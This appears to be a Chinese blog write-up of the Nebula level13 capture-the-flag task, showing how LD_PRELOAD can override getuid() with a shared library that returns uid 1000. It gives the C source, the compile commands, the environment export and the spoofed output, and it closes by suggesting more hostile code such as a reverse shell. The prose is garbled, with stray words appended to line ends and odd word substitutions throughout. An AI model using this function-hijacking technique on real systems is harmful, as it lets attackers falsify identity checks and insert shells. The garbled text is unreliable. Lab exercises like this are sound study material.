LD_PRELOAD这个变量容许你定义在程序运行时优先加载的动态连接库,从而在程序运行时的动态连接shell
下面程序的看一个例子-getuid.c函数
//getuid.c #include<stdio.h> #include<unistd.h> #include<sys/types.h> int main(void) { printf("my uid is %d\n",getuid()); }
//gcc -o getuid getuid.c
这段程序很简单,就是获取当前的uid测试
level13@nebula:/tmp$ ./getuid my uid is 1014 level13@nebula:/tmp$ id uid=1014(level13) gid=1014(level13) groups=1014(level13)
运行后确实拿到了当前用户的uid,下面就经过LD_PRELOAD变量来劫持系统原来的getuid函数,从而改变返回结果ui
1、编写恶意getuid()函数spa
//muid.c #include<sys/types.h> uid_t getuid(void) { return 1000; }
//gcc -shared -lc -fPIC -o muid.so muid.c
咱们让恶意getuid函数返回1000这个值code
2、修改LD_PRELOAD变量blog
level13@nebula:/tmp$ LD_PRELOAD="/tmp/muid.so" level13@nebula:/tmp$ export LD_PRELOAD
把LD_PRELOAD变量指向咱们编译好的恶意getuid函数库get
3、运行getuid程序io
level13@nebula:/tmp$ ./getuid my uid is 1000
能够看到这里getuid函数已经被劫持了,返回了咱们想要的uid值,顺利hook该函数编译
咱们也能够加入更多恶意代码,好比返弹shell等,通过测试,这种方式能够劫持大部分系统函数,其余理由有待深刻挖掘